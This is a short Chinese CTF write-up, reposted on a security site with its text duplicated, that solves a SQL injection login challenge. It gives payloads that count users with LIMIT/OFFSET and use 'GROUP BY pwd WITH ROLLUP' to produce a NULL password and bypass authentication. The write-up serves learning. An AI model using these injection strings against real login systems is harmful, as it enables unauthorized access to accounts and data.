因缺思汀的绕过

颓废 2019年5月19日10:30:39评论497 views字数 446阅读1分29秒阅读模式
摘要

得到flag必须先绕过这3点:
不能使用上述关键字
数据库影响数为1
通过第三个if
第一个不使用即可通过
第二个返回结果只能又一条(说明用户不止一个)
    确定一下当前用户人数,由于第一个过滤了,所以使用limit 1 offset 1来判断人数
    1' or 1 limit 1 offset 0#    返回亦可赛艇!(一个人)偏移量从0开始
    1’or 1 limit 1 offset 1#    返回亦可赛艇!(两个人)
    1' or 1 limit 1 offset 2#    返回一颗赛艇!(没有第三人)
    由此推出又两个用户
第三个输入的密码和数据库的密码要相同
    这里可以用这个语句group by pwd with rollup(分组后会在多一行统计)
    由于对字符串统计无效第三行的pwd结果是NULL这样就可以通过
    1' or 1 group by pwd with rollup limit 1 offset 2#
    由于使用了with rollup后会多出一条,所以offset 2 可以正确返回NULL
密码栏不需要输入,默认为NULL,输入了就不是NULL了

因缺思汀的绕过

得到flag必须先绕过这3点:
不能使用上述关键字
数据库影响数为1
通过第三个if
第一个不使用即可通过
第二个返回结果只能又一条(说明用户不止一个)
    确定一下当前用户人数,由于第一个过滤了,所以使用limit 1 offset 1来判断人数
    1' or 1 limit 1 offset 0#    返回亦可赛艇!(一个人)偏移量从0开始
    1’or 1 limit 1 offset 1#    返回亦可赛艇!(两个人)
    1' or 1 limit 1 offset 2#    返回一颗赛艇!(没有第三人)
    由此推出又两个用户
第三个输入的密码和数据库的密码要相同
    这里可以用这个语句group by pwd with rollup(分组后会在多一行统计)
    由于对字符串统计无效第三行的pwd结果是NULL这样就可以通过
    1' or 1 group by pwd with rollup limit 1 offset 2#
    由于使用了with rollup后会多出一条,所以offset 2 可以正确返回NULL
密码栏不需要输入,默认为NULL,输入了就不是NULL了

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
颓废
  • 本文由 发表于 2019年5月19日10:30:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   因缺思汀的绕过http://cn-sec.com/archives/68506.html

发表评论

匿名网友 填写信息